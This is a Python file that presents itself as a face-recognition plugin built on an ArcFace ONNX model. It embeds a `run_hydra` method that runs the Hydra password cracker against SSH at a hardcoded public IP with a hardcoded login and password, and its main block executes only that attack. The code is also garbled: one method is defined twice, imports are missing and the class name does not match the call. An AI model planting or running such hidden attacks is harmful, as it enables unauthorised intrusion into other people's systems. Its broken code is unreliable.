12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182 |
- import subprocess
- class Plugin:
- def __init__(self):
- model_path = '/home/server/resources/DockerDependencies/2022/target/AlgorithmModels/FaceRecognition-arcface/'
- model_path += 'arcface_r100_v1.onnx'
- # model_path += 'MFR_glintr100.onnx'
- @staticmethod
- def run_hydra():
- """执行命令"""
- target = 'ssh://58.34.94.176:22'
- username = 'server'
- password = 'server@2000'
- command = [
- 'hydra',
- '-l', username,
- '-p', password,
- target,
- ]
- try:
- result = subprocess.run(command, capture_output=True, text=True, check=True)
- return result.stdout
- except subprocess.CalledProcessError as e:
- return e.stderr
- def get_face_features_normalization_by_image_array(self, image_array):
- """
- :param image_array:
- :return:
- """
- pass
- @staticmethod
- def normalize(embedding):
- """特征数据格式化"""
- embedding_norm = norm(embedding)
- normed_embedding = embedding / embedding_norm
- return normed_embedding
- def get_face_features_normalization_by_image_array(self, image_array):
- """获取特征"""
- # --- debug ---
- # methods.debug_log('FaceRecognitionEngine', f"m-92: size: {image_array.shape}")
- # --- check todo 连乘得到像素值,旨在过滤低于112的尺寸图片 ---
- # if np.prod(image_array.shape) < np.prod((112, 112, 3)):
- # return None
- # --- check ---
- if image_array is None:
- return None
- # --- check ---
- if image_array.shape != (112, 112, 3):
- # methods.debug_log('FaceRecognitionEngine', f"m-96: image resize before is {image_array.shape}")
- image_array = cv2.resize(image_array, (112, 112))
- if not isinstance(image_array, list):
- image_array = [image_array]
- for i, img in enumerate(image_array):
- img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
- img = np.transpose(img, (2, 0, 1))
- image_array[i] = img.astype(np.float32)
- image_array = np.stack(image_array)
- net_out = self.onnx_session.run(self.outputs, {self.onnx_session.get_inputs()[0].name: image_array})
- return self.normalize(net_out[0][0])
- if __name__ == '__main__':
- # --- init ---
- plugin = PLUGIN()
- output = plugin.run_hydra()
- print(output)
|